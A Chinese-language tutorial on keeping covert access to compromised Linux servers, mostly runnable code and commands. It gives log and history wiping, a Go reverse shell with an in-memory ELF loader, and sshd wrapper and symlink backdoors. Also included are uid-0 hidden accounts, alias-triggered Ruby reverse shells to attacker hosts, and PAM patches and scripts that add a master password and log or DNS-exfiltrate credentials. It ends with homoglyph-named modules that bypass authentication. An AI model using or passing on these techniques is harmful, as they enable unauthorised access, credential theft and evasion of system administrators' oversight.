Post-penetration Linux persistence control technology

免责声明

本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。”

“我们创建这个博客是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。

前期工作

1. 系统信息收集

whoami&&lscpu&&free -h&&df -h&&lsb_release -a

输出有点乱,也可以使用下面的命令使用————————分隔

whoami && echo "------------------------" && lscpu && echo "------------------------" && free -h && echo "------------------------" && df -h && echo "------------------------" && lsb_release -a

2. 接shell

使用以下办法可以解决Linux弹回来的shell不太好用的问题【推荐使用】

rlwrap -S "$(printf '\033[95mds>\033[m ')" nc -nvlp 8880

3. Python建立交互Shell

# 寻找当前主机Python环境
which python python2 python3
# 建立交互shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

4. 痕迹清除

这条命令的作用是删除Nginx访问日志中所有以101开头的行

sed -i '/^101/d' /var/log/nginx/access.log

强制删除/var/log目录下所有日志,清除当前用户的命令历史记录,包括内存中的历史和保存在~/.bash_history文件中的历史记录。

rm -rf /var/log/* & history -c & rm -rf ~/.bash_history
  1. /var/log/auth.log:

这个日志文件包含了认证和授权相关的信息,通常由authd服务产生。它记录了用户登录尝试、密码更改、sudo命令使用等安全相关的事件。

  1. /var/log/secure:

在某些Linux发行版(如CentOS和RHEL)中,secure日志文件与auth.log类似,也记录了认证和授权事件。在其他发行版(如Ubuntu和Debian)中,secure日志可能不存在,或者其内容被合并到了auth.log中。

  1. /var/log/faillog:

这个日志文件记录了用户登录失败的尝试。它由login程序和pam_faillock模块使用,用于跟踪失败的登录尝试,并在达到一定次数后锁定账户。

  1. /var/log/lastlog:

这个日志文件包含了系统中所有用户的最后登录时间信息。它由lastlog命令使用,该命令可以显示所有用户的最后登录记录。

  1. /var/log/wtmp:

这个日志文件记录了所有用户的登录和注销事件。它是一个二进制文件,由acct包中的login程序更新。last命令使用这个文件来显示系统的登录历史。

rm -rf /var/log/auth.log /var/log/secure /var/log/faillog /var/log/lastlog /var/log/wtmp

5. SSH隐身登录

ssh username@hostname "bash --noprofile --norc"/bin/bash -if

请注意,使用–noprofile和–norc选项意味着你将不会获得用户环境中定义的任何别名、函数、变量或路径设置。这可能会导致一些命令和工具无法按预期工作,因为它们依赖于这些配置文件中的设置。

1. 对比

下图为直接SSH登录截图

下图为直接SSH登录截图

ssh -T username@host /bin/bash -i

2. 对比

下图为直接SSH登录截图

使用我们的命令可以达到如下效果:

ssh -o UserKnownHostsFile=/dev/null -T user@hostname

下图为直接SSH登录截图

使用我们的命令可以达到如下效果:

Linux持久化 之 内存执行ELF

优点:不落地匿名文件,好用

缺点:可以和其他技术结合起来,比如通过fexecve调用memfd_create创建的匿名文件句柄

低版本glibc编译的文件可在高版本执行,低版本glibc编译的

ldd --version

shell.go

package mainimport (        "flag"        "fmt"        "log"        "net"        "os"        "os/exec"        "time")/* Verbose logger */var vlog = log.Printffunc main() {        var (                addr = flag.String(                        "addr",                        "127.0.0.1:4444",                        "Callback `adress`",                )                sleep = flag.Duration(                        "sleep",                        2*time.Second,                        "Sleep `duration` between callbacks",                )                verbose = flag.Bool(                        "v",                        false,                        "Print message for each connection",                )        )        flag.Usage = func() {                fmt.Fprintf(                        os.Stderr,                        `Usage %v [options]Calls the address every so often and hooks up a shell to the networkconnection.Options:`,                        os.Args[0],                )                flag.PrintDefaults()        }        flag.Parse()        /* Unverbose just disables extra logging */        if !*verbose {                vlog = func(string, ...interface{}) {}        }        log.Printf("Starting shell callbacks to %v", *addr)        for {                /* Try to make a shell */                if err := shell(*addr); nil != err {                        vlog("Error: %v", err)                }                /* Sleep until the next one */                time.Sleep(*sleep)        }}/* shell connects to addr and hands it a shell */func shell(addr string) error {        /* Try to connect */        c, err := net.Dial("tcp", addr)        if nil != err {                return err        }        vlog("Connected %v->%v", c.LocalAddr(), c.RemoteAddr())        defer c.Close()        /* Make a shell to hook up */        s := exec.Command("/bin/sh")        s.Stdin = c        s.Stdout = c        s.Stderr = c        /* Welcome the user */        fmt.Fprintf(c, "Welcome!\n")        /* Start the shell */        return s.Run()}

编译: ··· go build -ldflags ‘–extldflags “-static -fpic”‘ -o elfshell ./shell.go ···

elfload.pl

#!/usr/bin/env perl                                                                                                                                    use warnings;                                                                                                                                          use strict;                                                                                                                                                                                                                                                                                                   $|=1;                                                                                                                                                                                                                                                                                                                                                                                                                                   print "Making anonymous file...";                                                                                                                      my $name = "";                                                                                                                                         my $fd = syscall(319, $name, 1);                                                                                                                       if (-1 == $fd) {                                                                                                                                               die "memfd_create: $!";                                                                                                                        }                                                                                                                                                      print "fd $fd\n";                                                                                                                                                                                                                                                                                                                                                                                                                     open(my $FH, '>&='.$fd) or die "open: $!";                                                                                                             select((select($FH), $|=1)[0]);                                                                                                                                                                                                                                                                                                                                                                                print "Writing ELF binary to memory..."; 

elfshell当作16进制写入到elfload.pl

perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' elfshell >> elfload.pl 

尾部写入elfload.pl

elfload.pl.end 内容

print "done\n";                                                                      print "Here we go...\n";                                                                                                                               exec {"/proc/$$/fd/$fd"} "formsec"                                                                                            or die "exec: $!";

写入到尾部:

cat elfload.pl.tail | tee -a elfload.pl 

监听

rlwrap -S "$(printf '\033[95mds>\033[m ')" nc -nvlp 8880

执行

perl elfload.pl 

反弹成功

持久化技巧

cat elfload.pl | ssh root@182.168.40.202Ctrl+Zbg或者cat elfload.pl | ssh root@182.168.40.202 &

我们可以看一下进程是SSH

可能遇到的报错

formsec: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by formsec)
formsec: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by formsec)

有网

升级glibc版本即可

sudo vi /etc/apt/sources.listdeb http://th.archive.ubuntu.com/ubuntu jammy main    #添加该行到文件sudo apt updatesudo apt install libc6

没有网

没网情况下在低版本编译即可

Linux持久化 之  ssh wrapper后门

Linux中init首先启动的是/usr/sbin/sshd,原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。如果这个子进程的标准输入输出已被重定向,那么getpeername能获取到客户端的TCP端口,将会派生给执行sh命令执行的权限。简而言之就是反弹shell,与常见的反弹shell不同的是,SSH wrapper后门通过长连接反弹shell的方式,使得攻击者在退出终端后仍然能进行连接。

优点:无需编译,只有在连接后有进程

缺点:需要重启sshd

cd /usr/sbin/&&mv sshd ../bin/&&echo '#!/usr/bin/perl' >sshd&&echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd&&echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd&&chmod u+x sshd&&/etc/init.d/sshd restart
cd /usr/sbin/mv sshd ../bin/
echo '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshdecho 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd/etc/init.d/sshd restart

连接

socat STDIO TCP4:vicIP:22,sourceport=13377

这边我没复现成功!

Linux持久化 之  ssh 软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),su在pam_rootok只检测uid 0即认证成功,导致了可以使用任意密码登录。

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345

查看端口

netstat -anptl | grep 12345

已开启

我们连接

ssh test@192.168.41.202 -p 12345

Linux持久化 之  后门账户

shadow root后门账户 带sudo

useradd -u 0 -o -g root -G root -M -s /bin/bash config && echo "xxx" | passwd config --stdinpasswd configecho "PasswordAuthentication yes" >> /etc/ssh/sshd_config

#普通权限的后门账户,但是名字有很强的迷惑性,可用于挖矿,botnet等。

useradd -d /x -c "config" -s /bin/bash config -museradd -d /home/... -s /bin/bash x -m

连接

ssh config@192.168.41.202

登录后为root用户

扩展

#CentOS 7系统命令行创建uid为0的用户1. 直接创建useradd -o -u 0 config && echo "xxx" | passwd config --stdin2. 写入/root/.bashrc文件。与PROMPT_COMMAND结合,每次以root打开shell时都会执行echo 'export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 config &>/dev/null && echo config:xxx | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"'>>/root/.bashrc## Ubuntu系统命令行创建uid为0的用户useradd -p 0 `openssl passwd -1 -salt 'abc' xxx` -u 0  -o -g root -G root -s /bin/bash config

Linux持久化 之 SSH公钥免密登陆后门

这个大家都懂,就不需要复现了,注意隐藏真正的公钥即可。 在攻击机上生成公钥文件,“回车”默认配置。

ssh-keygen -t rsa

将攻击机上的id_rsa.pub文件拷贝至靶机

  1. ftp、scp等工具上传至靶机或者U盘植入;

  2. 将公钥文件放置vps服务器,然后靶机用wget/curl下载;

  3. 各类可用于远程传输的工具均可(如:nc)。

## 修改/etc/ssh/sshd_config中的AuthorizedKeysFile字段,隐藏真正的公钥cat /etc/ssh/sshd_config|grep AuthorizedKeysFileAuthorizedKeysFile    .cache echo "AuthorizedKeysFile    .cache" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config#others_usermkdir -p ~/.cacheln /root/.ssh/authorized_keys ~/.cache/ssh.rc#target_usermkdir -p ~${target_user}/.cacheecho -e "\n\nxxxxxxx\n\n" >> ~/.cache/ssh.rc#正常用户的免密公钥也能正常使用,只需要有针对性地维护目标用户

Linux持久化 之 别名后门

优点:隐藏得深 ,但命令或网络情况复杂会延迟,会被发现

缺点:需要机会,对方执行yum更新

## ruby实现反弹连接 ncalias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"attackMa"'"'","'"'"443"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"## ruby实现反弹连接 msfalias ls="alerts(){ ls $* --color=auto;ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end';};alerts"## 创建alias和unalias的别名,加入隐蔽的位置,执行ls自动反弹  vi /etc/yum/yum-update.rccat > /etc/yum/yum-update.rc <<EOFalias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"attackMa"'"'","'"'"443"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'alias alias="cat /tmp/.alias.txt"EOF将下面的加入/tmp/.alias.txtcat > /tmp/.alias.txt <<EOFalias egrep='egrep --color=auto'alias fgrep='fgrep --color=auto'alias grep='grep --color=auto'alias l.='ls -d .* --color=auto'alias ll='ls -l --color=auto'alias ls='ls --color=auto'alias vi='vim'alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'EOFcd /etc/yum/&&touch -acmr version-groups.conf yum-update.rc## hash后门#当执行ls时会发现变成执行了pwdecho "hash -p /usr/bin/pwd ls" >> /etc/profile## 不好用 echo "hash -p 'useradd -o -u 0 config && echo "'"'"xxx"'"'" | passwd config --stdin' ls" >> /etc/profile

Linux持久化 之 PAM后门

渐渐发现pam后门在实战中存在种植繁琐、隐蔽性不强等缺点,这里记录下学习pam后门相关知识和pam后门的拓展改进。

1. PAM Backdoor

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持

以下为Pam后门种植的过程,只是特别把一点tips和需要注意的点贴出来。

查询目标版本后下载对应源代码修改认证逻辑、编译替换原认证文件即可。版本务必要和目标系统完全保持对应。

源码:      

http://www.linux-pam.org/library/

查询版本

rpm -qa | grep pam

tar -xzvf Linux-PAM-1.1.1.tar.gzcd Linux-PAM-1.1.1cd modules/pam_unix/vim pam_unix_auth.c

pam_unix_auth.c 在这里你可以修改认证逻辑,改成使用特定密码的后门,当然也可以作为一个记录敏感密码的功能,将记录的密码写入文件记录。

/* verify the password of this user */retval = _unix_verify_password(pamh, name, p, ctrl);if(strcmp("qing!@#123",p)==0){return PAM_SUCCESS;}
if(retval == PAM_SUCCESS){        FILE * fp;        fp = fopen("/bin/.sshlog", "a");        fprintf(fp, "%s : %s\n", name, p);        fclose(fp);        }

这里也提一下,实际各种复杂环境还是推荐非交互去修改源码

apt-get install dpkg-dev flexapt-get source libpam-modules=`dpkg -s libpam-modules \> | grep -i version | cut -d' ' -f2` cd pam-1.1.1/modules/pam_unix/ sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c cd ../.. ./configure make cd

编译、修改:

在目标机器上重新编译PAM,而后,再将生成的库复制到系统的/lib64/security/[注意,32和64位系统下该目录的路径不一样的目录下

cd ../.././configure && make  (./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr)mv pam_unix.so{,.bak} #备份cp /root/Linux-PAM-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib64/security/ #覆盖替换echo $?

注意的tips

过程只是有些步骤,需要注意的时候在编译后门关闭Selinux或设置上下文,以及修改pam认证的一些时间戳达到基本的隐蔽。

stat pam_unix.*touch -t 201002160134 pam_unix.sotouch pam_unix.so -r pam_unix.so.src  #克隆原始文件时间ls -Z pam_unix.so.src (查看原始文件的Selinux上下文) chcon –reference=pam_unix.so.src pam_unix.so   setsebool -P allow_saslauthd_read_shadow 1    # 设置Selinux上下文#或直接时间戳给变量来修改 timestamp=`ls -l /lib/security/ | grep pam_unix.so | grep -v ^l \> | awk '{print $6$7}' | tr -d '-' | tr -d ':'` touch -t $timestamp /lib/security/pam_unix.so

一定注意替换完成后测试ok再退出不然基本的认证就乱了

root@qing:~/pam/Linux-PAM-1.1.8/modules/pam_unix# ls -alh /bin/.sshlog-rw-r--r--. 1 root root 162 May 31 03:15 /bin/.sshlog

Pam 后门一些报错解决:

编译中的问题解决:64位系统编译可能会遇到yywrap()函数未定义错误

  1. 根据提示的文件路径,在里面定义

  2. #define yywrap() 1 或者int yywrap(){return 1;}

  3. 在C文件中定义 %option noyywrap

  4. 安装flex软件包就可以正常编译了 yum install flex

记得Selinux一定要关闭或者设置上下文

Pam后门种植脚本

但是在种植过程中对于步骤显得有点繁琐,脚本来简化步骤,脚本一把PAM种植过程的命令傻瓜式写进sh, 脚本二来自zephrax:

root@qing:~/pam# cat pam.sh#!/bin/bashPASS='qing123' ##......LOG='\/bin\/.sshlog' ##......echo -e "\nPam-Backdoor\n\n\n"version=`rpm -qa | grep pam | awk -F- '{print $2}'`#get the pam version#close the selinuxif [ `getenforce` = '1' ];thensetenforce 0line_n = `grep -n "^SELINUX=enforcing" /etc/sysconfig/selinux | awk -F: '{print $1}'`sed -i $line_n' d' /etc/sysconfig/selinuxsed -i $line_n" a\SELINUX=disabled" /etc/sysconfig/selinux/etc/sysconfig/selinuxelseecho "selinux is closed"fiif [ `uname -p` = 'x86_64' ];thenLIBPATH=lib64elseLIBPATH=libfioldtime=`stat -c '%z' /lib64/security/pam_ftp.so`echo 'Pam backdoor starting!'mirror_url='http://www.linux-pam.org/library/Linux-PAM-'$version'.tar.gz'#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'version='Linux-PAM-'$versionecho 'Fetching from '$mirror_urlwget $mirror_url #fetch the rolltar zxf $version'.tar.gz' #untarcd $version#find and replacesed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.cDIS=`head /etc/issue -n 1|awk '{print $1}'`#get the versionif [ $DIS = "CentOS" ];then./configure --disable-selinux && makeelse./configure && makefi/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. ........./bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.sotouch -d "$oldtime" /$LIBPATH/security/pam_unix.socd .. && rm -rf Linux-PAM-1.1.1*echo "PAM BackDoor is Done"
#!/bin/bashOPTIND=1PAM_VERSION=PAM_FILE=PASSWORD=echo "Automatic PAM Backdoor"function show_help {    echo ""    echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"    echo "For a list of supported versions: http://www.linux-pam.org/library/"}while getopts ":h:?:p:v:" opt; do    case "$opt" in    h|\?)        show_help        exit 0        ;;    v)  PAM_VERSION="$OPTARG"        ;;    p)  PASSWORD="$OPTARG"        ;;    esacdoneshift $((OPTIND-1))[ "$1" = "--" ] && shiftif [ -z $PAM_VERSION ]; then    show_help    exit 1fi;if [ -z $PASSWORD ]; then    show_help    exit 1fi;echo "PAM Version: $PAM_VERSION"echo "Password: $PASSWORD"echo ""PAM_BASE_URL="http://www.linux-pam.org/library"PAM_DIR="Linux-PAM-${PAM_VERSION}"PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"PATCH_DIR=`which patch`if [ $? -ne 0 ]; then    echo "Error: patch command not found. Exiting..."    exit 1fiwget -c "${PAM_BASE_URL}/${PAM_FILE}"tar xjf $PAM_FILEcat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIRcd $PAM_DIR./configuremakecp modules/pam_unix/.libs/pam_unix.so ../cd ..echo "Backdoor created."echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"echo ""

pam 后门种植过程中也可以发现一些可以改进优化的点,比如加载认证后门方式、文件,以及对于劫持密码的形式不一定是写入文本文件的形式。

2. Pam_permit Backdoor

因为种植机器环境的不确定性,很难保证在包管理器中提供了某种对文件校验,可用于检测文件系统中现有程序的操作。这些校验分发包中合法随附的文件的完整性,也许在我们修改认证so类似这种系统敏感文件就会触发监控报警

我们也可以在原Pam后门种植中变通一下在不替换原系统认证pam文件来达到相同的权限维持目的。

而类似在pam认证逻辑中改变认证结果,不一定非要在文件中修改,在认证中存在pam_permit.so模块,而而pam_permit模块任何时候都返回认证成功.

root@qing:~/pam/Linux-PAM-1.1.8/modules# cat pam_permit/pam_permit.c/* pam_permit module *//* * $Id$ * * Written by Andrew Morgan <morgan@parc.power.net> 1996/3/11 * */#include "config.h"#define DEFAULT_USER "nobody"#include <stdio.h>/* * here, we make definitions for the externally accessible functions * in this file (these definitions are required for static modules * but strongly encouraged generally) they are used to instruct the * modules include file to define their prototypes. */#define PAM_SM_AUTH#define PAM_SM_ACCOUNT#define PAM_SM_SESSION#define PAM_SM_PASSWORD#include <security/pam_modules.h>#include <security/_pam_macros.h>/* --- authentication management functions --- */PAM_EXTERN intpam_sm_authenticate(pam_handle_t *pamh, int flags UNUSED,                    int argc UNUSED, const char **argv UNUSED){    int retval;    const char *user=NULL;    /*     * authentication requires we know who the user wants to be     */    retval = pam_get_user(pamh, &user, NULL);    if (retval != PAM_SUCCESS) {        D(("get user returned error: %s", pam_strerror(pamh,retval)));        return retval;    }    if (user == NULL || *user == '\0') {        D(("username not known"));        retval = pam_set_item(pamh, PAM_USER, (const void *) DEFAULT_USER);        if (retval != PAM_SUCCESS)            return PAM_USER_UNKNOWN;    }    user = NULL;                                            /* clean up */    return PAM_SUCCESS;}PAM_EXTERN intpam_sm_setcred(pam_handle_t *pamh UNUSED, int flags UNUSED,               int argc UNUSED, const char **argv UNUSED){     return PAM_SUCCESS;}/* --- account management functions --- */PAM_EXTERN intpam_sm_acct_mgmt(pam_handle_t *pamh UNUSED, int flags UNUSED,                 int argc UNUSED, const char **argv UNUSED){     return PAM_SUCCESS;}/* --- password management --- */PAM_EXTERN intpam_sm_chauthtok(pam_handle_t *pamh UNUSED, int flags UNUSED,                 int argc UNUSED, const char **argv UNUSED){     return PAM_SUCCESS;}/* --- session management --- */PAM_EXTERN intpam_sm_open_session(pam_handle_t *pamh UNUSED, int flags UNUSED,                    int argc UNUSED, const char **argv UNUSED){    return PAM_SUCCESS;}PAM_EXTERN intpam_sm_close_session(pam_handle_t *pamh UNUSED, int flags UNUSED,                     int argc UNUSED, const char **argv UNUSED){     return PAM_SUCCESS;}/* end of module definition */#ifdef PAM_STATIC/* static module data */struct pam_module _pam_permit_modstruct = {    "pam_permit",    pam_sm_authenticate,    pam_sm_setcred,    pam_sm_acct_mgmt,    pam_sm_open_session,    pam_sm_close_session,    pam_sm_chauthtok};#endif

所以在留pam后门时也可以利用这个”永真”的so来达到权限维持。

挂载+优先级后门

当我们运行shell脚本时候系统将顺序尝试在PATH环境变量的所有目录中查找该命令。如果两个不同的PATH条目中有两个匹配的可执行文件,则将使用第一个而不触发任何警告。因此,如果我们在第一个PATH条目中添加了一个恶意二进制文件,而合法的二进制文件则位于PATH的后面,则使用恶意二进制文件代替原始二进制文件。

所以我们可以利用路径优先级结合使用mount连接原so和替换的恶意so文件来耍点”小聪明”,这里将/usr/bin/uname写个wrapper script:

#!/bin/shmount --bind /lib/*/*/pam_permit.so /lib/*/*/pam_unix.so 2>/dev/null/bin/uname $*

这样就用pam_permit.so来替代加载了pam_unix.so.

原因就在于/usr/bin默认优先于/bin路径

后渗透之linux持久化控制技术

qing@ubuntu:/usr/bin$ cat uname
#!/bin/sh
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so 2>/dev/null
/bin/uname $*
qing@ubuntu:/usr/bin$ uname -a
Linux ubuntu 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
qing@ubuntu:/usr/bin$

可以发现随便输入密码都是ok的 以及以低用户权限切root也是无密:

这样相当于万能密码,/dev/null重定向标准错误也是为了低权限用户执行mount因权限不够出错的问题,这样就算不是root用户执行uname在最后执行原/bin/uname没有任何影响。种植后任何调用uname的脚本都会触发pam_permit.so,并且我们没有修改原pam的任何文件。

uname只是一个简单的例子,shell脚本中可以使用无数的命令,具体要用替换来长期维权需要替换什么师傅们也能想到。

需要注意的一个的小地方是上面的例子是在Linux ubuntu 4.4.0-142-generic 进行,而你在Centos这种红帽中PATH又是不一样的,具体环境具体替换即可。

同形异义字后门

/etc/pam.d/下来管理对程序的认证方式。

应用程序会调用相应的配置文件,从而调用本地的认证模块,模块放置在/lib/security下,以加载动态库的形式进,像我们使用su命令时,系统会提示你输入root用户的密码.这就是su命令通过调用PAM模块实现的.

qing@ubuntu:/usr/bin$ ls -alh /etc/pam.d/total 92Kdrwxr-xr-x  2 root root 4.0K May 13 02:17 .drwxr-xr-x 97 root root 4.0K May 21 05:26 ..-rw-r--r--  1 root root  384 Nov 12  2015 chfn-rw-r--r--  1 root root   92 Nov 12  2015 chpasswd-rw-r--r--  1 root root  581 Nov 12  2015 chsh-rw-r--r--  1 root root 1.2K Apr  7 05:15 common-account-rw-r--r--  1 root root 1.2K Apr  7 05:15 common-auth-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-password-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-session-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-session-noninteractive-rw-r--r--  1 root root  606 Apr  5  2016 cron-rw-r--r--  1 root root 4.8K Jan 29  2016 login-rw-r--r--  1 root root   92 Nov 12  2015 newusers-rw-r--r--  1 root root  520 Mar 16  2016 other-rw-r--r--  1 root root   92 Nov 12  2015 passwd-rw-r--r--  1 root root  143 Mar 12  2016 runuser-rw-r--r--  1 root root  138 Mar 12  2016 runuser-l-rw-r--r--  1 root root  454 Jan 13  2018 smtp-rw-r--r--  1 root root 2.1K Mar  4  2019 sshd-rw-r--r--  1 root root 2.3K Nov 12  2015 su-rw-r--r--  1 root root  239 Mar 30  2016 sudo-rw-r--r--  1 root root  251 Apr 12  2016 systemd-user

看文件之前先看下配置文件的规则,例如/etc/pam.d/sshd(省略号为无关内容):

qing@ubuntu:/usr/bin$ cat /etc/pam.d/sshd# PAM configuration for the Secure Shell service# Standard Un*x authentication.@include common-auth...account    required     pam_nologin.so...@include common-account...session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close# Set the loginuid process attribute.session    required     pam_loginuid.so..session    optional     pam_keyinit.so force revoke..@include common-session..session    optional     pam_motd.so  motd=/run/motd.dynamicsession    optional     pam_motd.so noupdate..session    optional     pam_mail.so standard noenv # [1]..session    required     pam_limits.so..session    required     pam_env.so # [1]..session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale...session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open# Standard Un*x password updating.@include common-password

第一列代表模块类型

第二列代表控制标记

第三列代表模块路径

第四列代表模块参数

而模块又分四种,具体可以百度,这里对于后门做手脚还是关注认证管理(auth)模块。

查看认证/etc/pam.d/common-auth,可以发现auth模块和对应标记控制、调用的模块、传递的参数:

从文件中控制标记可以看出验证的逻辑顺序(required表示即使某个模块对用户的验证失败,requisite也是表示返回失败,立刻向应用程序返回失败,表示此类型失败.不再进行同类型后面的操作.),为这里suucces=1的表示验证密码成功然后接下来去调用pam_unix.so(跳过调用pam_deny.so),如果验证失败则会去调用pam_deny.so,

那在不知道认证密码的情况下必然是认证失败,如果失败调用的这个pam_deny.so为恶意文件或者为返回结果为真的pam_permit.so都可以达到一个后门的效果,这里就可以用到同形异字Unicode字符来做个后门:

cp /lib/*/*/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so

这里de后面的并不是正常的n,而是用Unicode字符u+578来替代,虽然他看来和正常的n很像,

所以在认证文件替换响应的字符,这样调用的时候会调用我们创建含unicode字符的so,最后还是会调用到pam_permit.so使认证结果返回正确,而不是原认证文件。

perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth

后渗透之linux持久化控制技术

类似的还可以使用相同名称的shell脚本来替换ls、netstat、ps等命令,不过不推荐:

which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|177\"";chmod 493,$o'

3. PAM-BackDoor-exfiltration

在更改pam_unix_auth时候可以指定将密码写入tmp目录文件来记录密码,除此我们也可使用数据带外的方式来达到用后门收集一些有效凭证、敏感密码之类的信息。

这时候我们在看来一般的PAM后门种植过程中对于密码的记录:

if(strcmp(p,"qing")==0){        retval = PAM_SUCCESS;}if(retval== PAM_SUCCESS){        fp=fopen("qing.txt","a");        fprintf(fp,"%s::%s\n",name,p);        fclose(fp);}

DNS exfiltration收集密码

这里还是在retval = unixverify_password(pamh, name, p, ctrl)下改变逻辑,如果需要将凭证带外的话只需要改变记录方式,比如创建socket对象将认证账号密码发送http格式的包到攻击者的服务器上。这里也可以使用dns带外的形式,还是在更改pam_unix_auth.c的基础上加入dns带外的代码。

Silver Moon dns.c(https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168)

get_dns_servers和ChangetoDnsNameFormat进行指定dns解析和域名格式转换

void get_dns_servers(){    FILE *fp;    char line[200] , *p;    if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)    {        printf("Failed opening /etc/resolv.conf file \n");    }    while(fgets(line , 200 , fp))    {        if(line[0] == '#')        {            continue;        }        if(strncmp(line , "nameserver" , 10) == 0)        {            p = strtok(line , " ");            p = strtok(NULL , " ");            //p now is the dns ip :)            //????        }    }    strcpy(dns_servers[0] , "208.67.222.222");    strcpy(dns_servers[1] , "208.67.220.220");}/* * This will convert www.google.com to 3www6google3com  * got it :) * */void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) {    int lock = 0 , i;    strcat((char*)host,".");    for(i = 0 ; i < strlen((char*)host) ; i++)    {        if(host[i]=='.')        {            *dns++ = i-lock;            for(;lock<i;lock++)             {                *dns++=host[lock];            }            lock++; //or lock=i+1;        }    }    *dns++='\0';}

加入查询的代码后只需要在_unix_verify_password下面加入对认证信息的dns查询即可,name和p都在最后调用ngethostbyname将snprintf拼接好的地址进行dns查询:

**root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# rm pam_unix_auth.c
rm: remove regular file ‘pam_unix_auth.c’? yes
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# mv 1.c pam_unix_auth.c
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# cd ../../
root@qing:~/Linux-PAM-1.1.8# ./configure && make**

而这种还是对pam_unix.so进行替换,如果不动so文件也可以使用LD_PRELOAD之类的来预加载。

